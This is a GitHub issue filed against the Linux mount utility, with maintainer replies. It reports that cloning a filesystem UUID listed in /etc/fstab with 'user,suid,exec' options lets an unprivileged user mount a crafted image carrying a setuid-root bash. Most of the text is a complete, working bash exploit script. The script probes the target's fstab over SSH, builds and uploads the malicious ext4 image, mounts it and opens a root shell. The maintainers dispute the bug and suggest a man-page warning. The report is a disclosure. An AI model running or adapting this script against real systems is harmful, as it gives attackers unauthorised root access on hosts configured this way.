Skip to content

Security issue with no check for potential use of dupilcate UUID #3547

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
oxagast opened this issue Apr 28, 2025 · 4 comments
Open

Security issue with no check for potential use of dupilcate UUID #3547

oxagast opened this issue Apr 28, 2025 · 4 comments

Comments

@oxagast
Copy link

oxagast commented Apr 28, 2025

If a filesystem is generated and a shell's binary is moved to the filesystem, and its permissions are altered to setuid, and it's owned by root, then mounted by a user (this requires the options user,exec,suid all to be set for the UUID in question in /etc/fstab), you can pop root by running the shell. Normally you wouldn't be able to make the shell suid(0) on the filesystem because you don't already have root, but if you were to dismount the filesystem, and edit it's containing file by hand, flip the bits, then remount, or generate the filesystem on another machine where you DO have root, then transfer the file over... you can have a filesystem with this scenario without already having root.

This also demonstrates the obvious security issues associated with letting a user mount a filesystem that can contain suid binaries. Let it be noted that while this is NOT the default config for mounting a filesystem via /etc/fstab, and this is a good thing... the suid/exec options are not usually inherited from anywhere, when people setup their custom mounts in fstab they often create this scenario unknowingly.

I think around line ~1065 there should be some sort of check in mount's code to see if a UUID has been duplicated, if it's already mounted at the time of trying to mount another, etc, and this may mitigate this issue. The UUID can be duplicated at time of creation of the filesystem, or even possibly edited in place on the file containing the filesystem (as it can be owned by a user and still work). On running mount, it pulls the evil filesystem via the duplicated UUID in /etc/fstab, and mounts over it at the existing mountpoint. Note, this works even if it is already mounted.

I have edited the last paragraph about the duplicated UUID vuln for clairity.(29/4/25)

I have written a demo PoC of the scenario:

#!/bin/bash
#
# A Universally Ubiquitous ID plus an evil filesystem swap:
# A case study demonstrated in mount.
#
# sudo ./mount-under-2.42-0day-sploit.sh -u charlie -h 10.0.1.2 -k /home/attacker/.ssh/id_ed25519
# mount <= 2.41 exploit by oxagast
#
# [?] Checking for vulnerabilty...
# [!] Good, looks like the victim is vulnerable!
# [*] 10MB file gen...
# [*] Created mountpoint...
# [*] Created filesystem with UUID 116bf815-c476-4a78-a384-0169e828dcc5
# [*] Grabbing remote copy of /usr/bin/bash to use as payload on victim...
# [*] Payload copied to evil fs...  permissions updated...
# [*] Hey bby, why don't you come on over here and mount this...
# [*] Mounted evil fs on 10.0.1.2...
# [!] Spawning shell...
# whoami
# root
#
#
usage()
{
  echo "Linux mount <= 2.41 exploit by oxagast"
  echo
  echo "Usage: $0 -h 10.0.1.2 -u charlie"
  echo
  echo "For the HOST to be vulnerable it needs to have an /etc/fstab entry that"
  echo "uses a UUID to refer to the device, as well as having mount options"
  echo "equivilent to 'user,suid,exec'.  Access to the vulnerable host via"
  echo "ssh is also a requirement, though this was for ease of writing the"
  echo "exploit and not a true requirement for this to work."
  echo "A ext4 filesystem is created on a 10mb file with a UUID that is a duplicate"
  echo "of another UUID listed in /etc/fstab where user,suid,exec are required"
  echo "options (weather they are explicityly stated or implied), then"
  echo "/bin/bash is copied to the fs, where it's permissions are subsequently"
  echo "modified to include the suid bit set, the fs is dismounted and the resulting"
  echo "file is uploaded to the vuln box, where the file's filesystem with"
  echo "the cloned UUID is mounted in place of it's cloned UUID brother."
  echo "Mount doesn't check if the mount already exists as something else"
  echo "before letting you double up on the same mount point, and because user is"
  echo "specified, we can mount that fs as a user other than root,"
  echo "but still be able to execute the copy of bash sitting on the evil"
  echo "filesystem we created. This respects the suid bit setting because of fstab"
  echo "and executes the file as root, where a shell is waiting for us."
  exit 1
}
EK="exploit.key"
while getopts ":h:u:k:" OP; do
  case "${OP}" in
    u)
      USERNAME=${OPTARG}
      ;;
    h)
      HOST=${OPTARG}
      ;;
    k)
      EK=${OPTARG}
      ;;
    *)
      usage
      ;;
  esac
done
shift $((OPTIND - 1))
if [ -z "${HOST}" ] || [ -z "${USERNAME}" ]; then
  usage
  exit 1
fi
echo "mount <= 2.41 exploit by oxagast"
echo
if [[ $(id -u) != 0 ]]; then
  echo "[x] You need to run this locally as root!"
  exit 1
fi
rm -f exploit.key exploit.key.pub
if [[ $EK == "exploit.key" ]]; then
  echo "[*] Generating key..."
  ssh-keygen -f exploit.key -N "" >/dev/null
  echo "[*] Copying key..."
  echo "[?] Private key not specified, please enter SSH password..."
  ssh-copy-id -i exploit.key.pub -f ${USERNAME}@${HOST} 2>/dev/null >/dev/null
fi
echo "[?] Checking for vulnerabilty..."
if [[ $(
  ssh -i ${EK} ${USERNAME}@${HOST} true >/dev/null
  echo $?
) != 0 ]]; then
  echo "[x] Shit, Doesn't look like we have SSH access!"
  exit 1
fi
VUUID=$(ssh -i ${EK} ${USERNAME}@${HOST} cat /etc/fstab | grep user | grep suid | grep exec | grep UUID | cut -d '=' -f 2 | cut -d ' ' -f 1)
if [[ ${VUUID} != "" ]]; then
  if [[ $(ssh -i ${EK} ${USERNAME}@${HOST} cat /etc/fstab | grep ${VUUID} | grep "nosuid\|noexec" | wc -l) > 0 ]]; then
    echo "[x] Drats, not vulnerable! nosuid or noexec present!"
    echo "[x] Enteries in /etc/fstab are:"
    ssh -i ${EK} ${USERNAME}@${HOST} cat /etc/fstab | grep -v '#'
    exit 1
  fi
fi
if [[ ${VUUID} == "" ]]; then
  echo "[x] Fuck, its not vulnerable!  Missing correct mount options or UUID reference."
  echo "[x] Enteries in /etc/fstab are:"
  ssh -i ${EK} ${USERNAME}@${HOST} cat /etc/fstab | grep -v '#'
  exit 1
fi
echo "[!] Good, looks like the victim is vulnerable!"
MDIR=$(ssh -i ${EK} ${USERNAME}@${HOST} cat /etc/fstab | grep ${VUUID} | cut -d ' ' -f 2)
fallocate -l 10M exploit
echo "[*] 10MB file gen..."
mkdir -p expdir
echo "[*] Created mountpoint..."
yes | mkfs.ext4 exploit -U ${VUUID} -L exploit 2>/dev/null >/dev/null
echo "[*] Created filesystem with UUID ${VUUID}"
mount exploit expdir/
if ! test -f "./payload"; then
  echo "[*] Grabbing remote copy of /usr/bin/bash to use as payload on victim..."
  scp -q -i ${EK} ${USERNAME}@${HOST}:/usr/bin/bash payload
fi
cp ./payload expdir/bash
chmod a+s expdir/bash
echo "[*] Payload copied to evil fs...  permissions updated..."
sync
umount expdir
echo "[*] Hey bby, why don't you come on over here and mount this..."
scp -q -i ${EK} exploit ${USERNAME}@${HOST}:
ssh -i ${EK} ${USERNAME}@${HOST} mount exploit
echo "[*] Mounted evil fs on ${HOST}..."
echo "[!] Spawning shell..."
sleep 1
echo "whoami"
WHO=$(ssh -i ${EK} ${USERNAME}@${HOST} ${MDIR}/bash -p -c whoami)
echo ${WHO}
if [[ ${WHO} -eq "root" ]]; then
  ssh -i ${EK} ${USERNAME}@${HOST} ${MDIR}/bash -p # boom
else
  echo "[x] Oof. Exploit failed! Sorry!"
fi
ssh -i ${EK} ${USERNAME}@${HOST} umount ${MDIR}
echo "[*] Cleaning up local files..."
rm -rf exploit expdir
rm -f exploit.key exploit.key.pub payload

Some warnings about this code are it temporarily makes the attacking machine ALSO vulnerable to an LPE in the process of making the filesystem! I also tried to do a bit of cleanup, but it's not perfect, don't run this in a production environment (either on the attacking or victim machines). You were warned.

@karelzak
Copy link
Collaborator

I don't think anyone using "user,exec,suid" cares about security and assumes that the system will be protected against anything.

@oxagast
Copy link
Author

oxagast commented Apr 29, 2025

I'm not sure if it matters if they "care" about security, but since you made that point, most people do not care about security, or really have much knowledge of security beyond thinking they need 3 or 4 different virus scans installed on top of each other. My thinking is that if someone sets up a mount point in /etc/fstab, only a couple of them will even know what those options mean in practice, and many people just turn everything on at once thinking it will make it better, or easier to use. In this case, in their naivety, they may be right, but they also open this gaping security hole. Being why this scenario is relevant.

Aside from that, the duplicate UUID being loadable on an existing mount point is the real bug here that's being abused in mount.

@karelzak
Copy link
Collaborator

The default is to mount devices for non-root users with "nosuid,noexec,nodev," and this default is there for a good reason. Your scenario would be relevant if we were discussing default behavior.

The use case you describe is when an administrator explicitly configures the system to allow non-root users to introduce suid binaries to the system via a vaguely defined filesystem. Note that UUID/LABEL can also be used for removable
devices, etc.

I do not see a reliable way to protect systems against duplicate UUIDs. It would require introducing a lock for the whole mount operation; otherwise, there will be a race condition between checking for a unique UUID and the actual mount operation.

In my opinion, real protection involves configuring the system carefully; nothing will protect you against real mistakes. What I suggest is to highlight this possible issue in the man page to ensure administrators do not do insane things.

There are many other things you can do to make your system insecure ...

@t-8ch
Copy link
Member

t-8ch commented Apr 30, 2025

If the user has rights to mount the UUID unprivileged then I guess they can also unmount it.
So any duplicate check can be easily bypassed.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants